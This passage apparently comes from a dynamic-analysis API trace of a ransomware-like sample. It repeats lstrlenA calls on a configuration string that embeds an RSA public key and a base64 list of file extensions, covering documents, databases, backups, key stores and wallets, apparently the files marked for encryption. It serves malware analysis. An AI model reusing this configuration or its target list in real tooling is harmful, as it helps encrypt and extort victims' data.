ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI